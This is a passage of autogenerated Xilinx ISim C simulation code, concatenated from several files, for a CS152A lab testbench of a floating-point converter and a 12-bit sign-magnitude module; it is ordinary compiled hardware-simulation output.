t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB361; LAB362: xsi_set_current_line(113, ng0); xsi_vlogfile_write(1, 0, 0, ng37, 1, t0); goto LAB364; LAB366: xsi_set_current_line(123, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB370; LAB367: if (t16 != 0) goto LAB369; LAB368: *((unsigned int *)t4) = 1; LAB370: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB371; LAB372: if (*((unsigned int *)t21) != 0) goto LAB373; LAB374: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB375; LAB376: memcpy(t58, t20, 8); LAB377: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB389; LAB390: if (*((unsigned int *)t91) != 0) goto LAB391; LAB392: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB393; LAB394: memcpy(t128, t90, 8); LAB395: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB407; LAB408: xsi_set_current_line(125, ng0); LAB410: xsi_set_current_line(127, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(128, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(129, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(130, ng0); xsi_vlogfile_write(1, 0, 0, ng38, 1, t0); LAB409: xsi_set_current_line(133, ng0); t2 = ((char*)((ng41))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(133, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB411; goto LAB1; LAB369: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB370; LAB371: *((unsigned int *)t20) = 1; goto LAB374; LAB373: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB374; LAB375: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng10))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB381; LAB378: if (t46 != 0) goto LAB380; LAB379: *((unsigned int *)t34) = 1; LAB381: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB382; LAB383: if (*((unsigned int *)t51) != 0) goto LAB384; LAB385: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB386; LAB387: LAB388: goto LAB377; LAB380: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB381; LAB382: *((unsigned int *)t50) = 1; goto LAB385; LAB384: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB385; LAB386: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB388; LAB389: *((unsigned int *)t90) = 1; goto LAB392; LAB391: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB392; LAB393: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng36))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB399; LAB396: if (t116 != 0) goto LAB398; LAB397: *((unsigned int *)t104) = 1; LAB399: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB400; LAB401: if (*((unsigned int *)t121) != 0) goto LAB402; LAB403: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB404; LAB405: LAB406: goto LAB395; LAB398: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB399; LAB400: *((unsigned int *)t120) = 1; goto LAB403; LAB402: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB403; LAB404: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB406; LAB407: xsi_set_current_line(124, ng0); xsi_vlogfile_write(1, 0, 0, ng40, 1, t0); goto LAB409; LAB411: xsi_set_current_line(134, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB415; LAB412: if (t16 != 0) goto LAB414; LAB413: *((unsigned int *)t4) = 1; LAB415: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB416; LAB417: if (*((unsigned int *)t21) != 0) goto LAB418; LAB419: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB420; LAB421: memcpy(t58, t20, 8); LAB422: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB434; LAB435: if (*((unsigned int *)t91) != 0) goto LAB436; LAB437: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB438; LAB439: memcpy(t128, t90, 8); LAB440: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB452; LAB453: xsi_set_current_line(135, ng0); LAB455: xsi_set_current_line(137, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(138, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(139, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(140, ng0); xsi_vlogfile_write(1, 0, 0, ng44, 1, t0); LAB454: xsi_set_current_line(143, ng0); t2 = ((char*)((ng45))); t3 = (t0 + 1768); xsi_vlogvar_assign_value(t3, t2, 0, 0, 12); xsi_set_current_line(143, ng0); t2 = (t0 + 2488); xsi_process_wait(t2, 5000LL); *((char **)t1) = &&LAB456; goto LAB1; LAB414: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB415; LAB416: *((unsigned int *)t20) = 1; goto LAB419; LAB418: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB419; LAB420: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng10))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB426; LAB423: if (t46 != 0) goto LAB425; LAB424: *((unsigned int *)t34) = 1; LAB426: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB427; LAB428: if (*((unsigned int *)t51) != 0) goto LAB429; LAB430: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB431; LAB432: LAB433: goto LAB422; LAB425: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB426; LAB427: *((unsigned int *)t50) = 1; goto LAB430; LAB429: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB430; LAB431: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB433; LAB434: *((unsigned int *)t90) = 1; goto LAB437; LAB436: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB437; LAB438: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng42))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB444; LAB441: if (t116 != 0) goto LAB443; LAB442: *((unsigned int *)t104) = 1; LAB444: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB445; LAB446: if (*((unsigned int *)t121) != 0) goto LAB447; LAB448: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB449; LAB450: LAB451: goto LAB440; LAB443: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB444; LAB445: *((unsigned int *)t120) = 1; goto LAB448; LAB447: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB448; LAB449: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB451; LAB452: xsi_set_current_line(134, ng0); xsi_vlogfile_write(1, 0, 0, ng43, 1, t0); goto LAB454; LAB456: xsi_set_current_line(144, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = ((char*)((ng3))); memset(t4, 0, 8); t5 = (t3 + 4); t6 = (t2 + 4); t7 = *((unsigned int *)t3); t8 = *((unsigned int *)t2); t9 = (t7 ^ t8); t10 = *((unsigned int *)t5); t11 = *((unsigned int *)t6); t12 = (t10 ^ t11); t13 = (t9 | t12); t14 = *((unsigned int *)t5); t15 = *((unsigned int *)t6); t16 = (t14 | t15); t17 = (~(t16)); t18 = (t13 & t17); if (t18 != 0) goto LAB460; LAB457: if (t16 != 0) goto LAB459; LAB458: *((unsigned int *)t4) = 1; LAB460: memset(t20, 0, 8); t21 = (t4 + 4); t22 = *((unsigned int *)t21); t23 = (~(t22)); t24 = *((unsigned int *)t4); t25 = (t24 & t23); t26 = (t25 & 1U); if (t26 != 0) goto LAB461; LAB462: if (*((unsigned int *)t21) != 0) goto LAB463; LAB464: t28 = (t20 + 4); t29 = *((unsigned int *)t20); t30 = *((unsigned int *)t28); t31 = (t29 || t30); if (t31 > 0) goto LAB465; LAB466: memcpy(t58, t20, 8); LAB467: memset(t90, 0, 8); t91 = (t58 + 4); t92 = *((unsigned int *)t91); t93 = (~(t92)); t94 = *((unsigned int *)t58); t95 = (t94 & t93); t96 = (t95 & 1U); if (t96 != 0) goto LAB479; LAB480: if (*((unsigned int *)t91) != 0) goto LAB481; LAB482: t98 = (t90 + 4); t99 = *((unsigned int *)t90); t100 = *((unsigned int *)t98); t101 = (t99 || t100); if (t101 > 0) goto LAB483; LAB484: memcpy(t128, t90, 8); LAB485: t160 = (t128 + 4); t161 = *((unsigned int *)t160); t162 = (~(t161)); t163 = *((unsigned int *)t128); t164 = (t163 & t162); t165 = (t164 != 0); if (t165 > 0) goto LAB497; LAB498: xsi_set_current_line(145, ng0); LAB500: xsi_set_current_line(147, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng5, 2, t0, (char)118, t3, 1); xsi_set_current_line(148, ng0); t2 = (t0 + 1208U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng6, 2, t0, (char)118, t3, 3); xsi_set_current_line(149, ng0); t2 = (t0 + 1368U); t3 = *((char **)t2); xsi_vlogfile_write(1, 0, 0, ng7, 2, t0, (char)118, t3, 4); xsi_set_current_line(150, ng0); xsi_vlogfile_write(1, 0, 0, ng44, 1, t0); LAB499: goto LAB1; LAB459: t19 = (t4 + 4); *((unsigned int *)t4) = 1; *((unsigned int *)t19) = 1; goto LAB460; LAB461: *((unsigned int *)t20) = 1; goto LAB464; LAB463: t27 = (t20 + 4); *((unsigned int *)t20) = 1; *((unsigned int *)t27) = 1; goto LAB464; LAB465: t32 = (t0 + 1208U); t33 = *((char **)t32); t32 = ((char*)((ng10))); memset(t34, 0, 8); t35 = (t33 + 4); t36 = (t32 + 4); t37 = *((unsigned int *)t33); t38 = *((unsigned int *)t32); t39 = (t37 ^ t38); t40 = *((unsigned int *)t35); t41 = *((unsigned int *)t36); t42 = (t40 ^ t41); t43 = (t39 | t42); t44 = *((unsigned int *)t35); t45 = *((unsigned int *)t36); t46 = (t44 | t45); t47 = (~(t46)); t48 = (t43 & t47); if (t48 != 0) goto LAB471; LAB468: if (t46 != 0) goto LAB470; LAB469: *((unsigned int *)t34) = 1; LAB471: memset(t50, 0, 8); t51 = (t34 + 4); t52 = *((unsigned int *)t51); t53 = (~(t52)); t54 = *((unsigned int *)t34); t55 = (t54 & t53); t56 = (t55 & 1U); if (t56 != 0) goto LAB472; LAB473: if (*((unsigned int *)t51) != 0) goto LAB474; LAB475: t59 = *((unsigned int *)t20); t60 = *((unsigned int *)t50); t61 = (t59 & t60); *((unsigned int *)t58) = t61; t62 = (t20 + 4); t63 = (t50 + 4); t64 = (t58 + 4); t65 = *((unsigned int *)t62); t66 = *((unsigned int *)t63); t67 = (t65 | t66); *((unsigned int *)t64) = t67; t68 = *((unsigned int *)t64); t69 = (t68 != 0); if (t69 == 1) goto LAB476; LAB477: LAB478: goto LAB467; LAB470: t49 = (t34 + 4); *((unsigned int *)t34) = 1; *((unsigned int *)t49) = 1; goto LAB471; LAB472: *((unsigned int *)t50) = 1; goto LAB475; LAB474: t57 = (t50 + 4); *((unsigned int *)t50) = 1; *((unsigned int *)t57) = 1; goto LAB475; LAB476: t70 = *((unsigned int *)t58); t71 = *((unsigned int *)t64); *((unsigned int *)t58) = (t70 | t71); t72 = (t20 + 4); t73 = (t50 + 4); t74 = *((unsigned int *)t20); t75 = (~(t74)); t76 = *((unsigned int *)t72); t77 = (~(t76)); t78 = *((unsigned int *)t50); t79 = (~(t78)); t80 = *((unsigned int *)t73); t81 = (~(t80)); t82 = (t75 & t77); t83 = (t79 & t81); t84 = (~(t82)); t85 = (~(t83)); t86 = *((unsigned int *)t64); *((unsigned int *)t64) = (t86 & t84); t87 = *((unsigned int *)t64); *((unsigned int *)t64) = (t87 & t85); t88 = *((unsigned int *)t58); *((unsigned int *)t58) = (t88 & t84); t89 = *((unsigned int *)t58); *((unsigned int *)t58) = (t89 & t85); goto LAB478; LAB479: *((unsigned int *)t90) = 1; goto LAB482; LAB481: t97 = (t90 + 4); *((unsigned int *)t90) = 1; *((unsigned int *)t97) = 1; goto LAB482; LAB483: t102 = (t0 + 1368U); t103 = *((char **)t102); t102 = ((char*)((ng42))); memset(t104, 0, 8); t105 = (t103 + 4); t106 = (t102 + 4); t107 = *((unsigned int *)t103); t108 = *((unsigned int *)t102); t109 = (t107 ^ t108); t110 = *((unsigned int *)t105); t111 = *((unsigned int *)t106); t112 = (t110 ^ t111); t113 = (t109 | t112); t114 = *((unsigned int *)t105); t115 = *((unsigned int *)t106); t116 = (t114 | t115); t117 = (~(t116)); t118 = (t113 & t117); if (t118 != 0) goto LAB489; LAB486: if (t116 != 0) goto LAB488; LAB487: *((unsigned int *)t104) = 1; LAB489: memset(t120, 0, 8); t121 = (t104 + 4); t122 = *((unsigned int *)t121); t123 = (~(t122)); t124 = *((unsigned int *)t104); t125 = (t124 & t123); t126 = (t125 & 1U); if (t126 != 0) goto LAB490; LAB491: if (*((unsigned int *)t121) != 0) goto LAB492; LAB493: t129 = *((unsigned int *)t90); t130 = *((unsigned int *)t120); t131 = (t129 & t130); *((unsigned int *)t128) = t131; t132 = (t90 + 4); t133 = (t120 + 4); t134 = (t128 + 4); t135 = *((unsigned int *)t132); t136 = *((unsigned int *)t133); t137 = (t135 | t136); *((unsigned int *)t134) = t137; t138 = *((unsigned int *)t134); t139 = (t138 != 0); if (t139 == 1) goto LAB494; LAB495: LAB496: goto LAB485; LAB488: t119 = (t104 + 4); *((unsigned int *)t104) = 1; *((unsigned int *)t119) = 1; goto LAB489; LAB490: *((unsigned int *)t120) = 1; goto LAB493; LAB492: t127 = (t120 + 4); *((unsigned int *)t120) = 1; *((unsigned int *)t127) = 1; goto LAB493; LAB494: t140 = *((unsigned int *)t128); t141 = *((unsigned int *)t134); *((unsigned int *)t128) = (t140 | t141); t142 = (t90 + 4); t143 = (t120 + 4); t144 = *((unsigned int *)t90); t145 = (~(t144)); t146 = *((unsigned int *)t142); t147 = (~(t146)); t148 = *((unsigned int *)t120); t149 = (~(t148)); t150 = *((unsigned int *)t143); t151 = (~(t150)); t152 = (t145 & t147); t153 = (t149 & t151); t154 = (~(t152)); t155 = (~(t153)); t156 = *((unsigned int *)t134); *((unsigned int *)t134) = (t156 & t154); t157 = *((unsigned int *)t134); *((unsigned int *)t134) = (t157 & t155); t158 = *((unsigned int *)t128); *((unsigned int *)t128) = (t158 & t154); t159 = *((unsigned int *)t128); *((unsigned int *)t128) = (t159 & t155); goto LAB496; LAB497: xsi_set_current_line(144, ng0); xsi_vlogfile_write(1, 0, 0, ng46, 1, t0); goto LAB499; } extern void work_m_06688200506855175694_3131697401_init() { static char *pe[] = {(void *)Initial_21_0}; xsi_register_didat("work_m_06688200506855175694_3131697401", "isim/fpcvt_tb_isim_beh.exe.sim/work/m_06688200506855175694_3131697401.didat"); xsi_register_executes(pe); } <file_sep>/**********************************************************************/ /* ____ ____ */ /* / /\/ / */ /* /___/ \ / */ /* \ \ \/ */ /* \ \ Copyright (c) 2003-2009 Xilinx, Inc. */ /* / / All Right Reserved. */ /* /---/ /\ */ /* \ \ / \ */ /* \___\/\___\ */ /***********************************************************************/ /* This file is designed for use with ISim build 0xfbc00daa */ #define XSI_HIDE_SYMBOL_SPEC true #include "xsi.h" #include <memory.h> #ifdef __GNUC__ #include <stdlib.h> #else #include <malloc.h> #define alloca _alloca #endif static const char *ng0 = "/home/ise/Xilinx_host/CS152A/lab1/signMag.v"; static int ng1[] = {11, 0}; static int ng2[] = {0, 0}; static unsigned int ng3[] = {1U, 0U}; static void Always_13_0(char *t0) { char t6[8]; char t15[8]; char *t1; char *t2; char *t3; char *t4; char *t5; char *t7; unsigned int t8; unsigned int t9; unsigned int t10; unsigned int t11; unsigned int t12; unsigned int t13; char *t14; char *t16; char *t17; unsigned int t18; unsigned int t19; unsigned int t20; unsigned int t21; unsigned int t22; unsigned int t23; char *t24; char *t25; unsigned int t26; unsigned int t27; unsigned int t28; unsigned int t29; unsigned int t30; char *t31; char *t32; LAB0: t1 = (t0 + 2520U); t2 = *((char **)t1); if (t2 == 0) goto LAB2; LAB3: goto *t2; LAB2: xsi_set_current_line(13, ng0); t2 = (t0 + 2840); *((int *)t2) = 1; t3 = (t0 + 2552); *((char **)t3) = t2; *((char **)t1) = &&LAB4; LAB1: return; LAB4: xsi_set_current_line(13, ng0); LAB5: xsi_set_current_line(14, ng0); t4 = (t0 + 1048U); t5 = *((char **)t4); memset(t6, 0, 8); t4 = (t6 + 4); t7 = (t5 + 4); t8 = *((unsigned int *)t5); t9 = (t8 >> 11); t10 = (t9 & 1); *((unsigned int *)t6) = t10; t11 = *((unsigned int *)t7); t12 = (t11 >> 11); t13 = (t12 & 1); *((unsigned int *)t4) = t13; t14 = (t0 + 1448); xsi_vlogvar_assign_value(t14, t6, 0, 0, 1); xsi_set_current_line(16, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); t2 = (t0 + 1008U); t4 = (t2 + 72U); t5 = *((char **)t4); t7 = ((char*)((ng1))); xsi_vlog_generic_get_index_select_value(t6, 32, t3, t5, 2, t7, 32, 1); t14 = ((char*)((ng2))); memset(t15, 0, 8); t16 = (t6 + 4); t17 = (t14 + 4); t8 = *((unsigned int *)t6); t9 = *((unsigned int *)t14); t10 = (t8 ^ t9); t11 = *((unsigned int *)t16); t12 = *((unsigned int *)t17); t13 = (t11 ^ t12); t18 = (t10 | t13); t19 = *((unsigned int *)t16); t20 = *((unsigned int *)t17); t21 = (t19 | t20); t22 = (~(t21)); t23 = (t18 & t22); if (t23 != 0) goto LAB9; LAB6: if (t21 != 0) goto LAB8; LAB7: *((unsigned int *)t15) = 1; LAB9: t25 = (t15 + 4); t26 = *((unsigned int *)t25); t27 = (~(t26)); t28 = *((unsigned int *)t15); t29 = (t28 & t27); t30 = (t29 != 0); if (t30 > 0) goto LAB10; LAB11: xsi_set_current_line(18, ng0); LAB14: xsi_set_current_line(19, ng0); t2 = (t0 + 1048U); t3 = *((char **)t2); memset(t6, 0, 8); t2 = (t6 + 4); t4 = (t3 + 4); t8 = *((unsigned int *)t3); t9 = (~(t8)); *((unsigned int *)t6) = t9; *((unsigned int *)t2) = 0; if (*((unsigned int *)t4) != 0) goto LAB16; LAB15: t18 = *((unsigned int *)t6); *((unsigned int *)t6) = (t18 & 4095U); t19 = *((unsigned int *)t2); *((unsigned int *)t2) = (t19 & 4095U); t5 = ((char*)((ng3))); memset(t15, 0, 8); xsi_vlog_unsigned_add(t15, 12, t6, 12, t5, 12); t7 = (t0 + 1608); xsi_vlogvar_assign_value(t7, t15, 0, 0, 12); LAB12: goto LAB2; LAB8: t24 = (t15 + 4); *((unsigned int *)t15) = 1; *((unsigned int *)t24) = 1; goto LAB9; LAB10: xsi_set_current_line(16, ng0); LAB13: xsi_set_current_line(17, ng0); t31 = (t0 + 1048U); t32 = *((char **)t31); t31 = (t0 + 1608); xsi_vlogvar_assign_value(t31, t32, 0, 0, 12); goto LAB12; LAB16: t10 = *((unsigned int *)t6); t11 = *((unsigned int *)t4); *((unsigned int *)t6) = (t10 | t11); t12 = *((unsigned int *)t2); t13 = *((unsigned int *)t4); *((unsigned int *)t2) = (t12 | t13); goto LAB15; } extern void work_m_00393575500146401002_0272970057_init() { static char *pe[] = {(void *)Always_13_0}; xsi_register_didat("work_m_00393575500146401002_0272970057", "isim/fpcvt_tb_isim_beh.exe.sim/work/m_00393575500146401002_0272970057.didat"); xsi_register_executes(pe); } <file_sep># CS152A Spring 2018 - CS152A
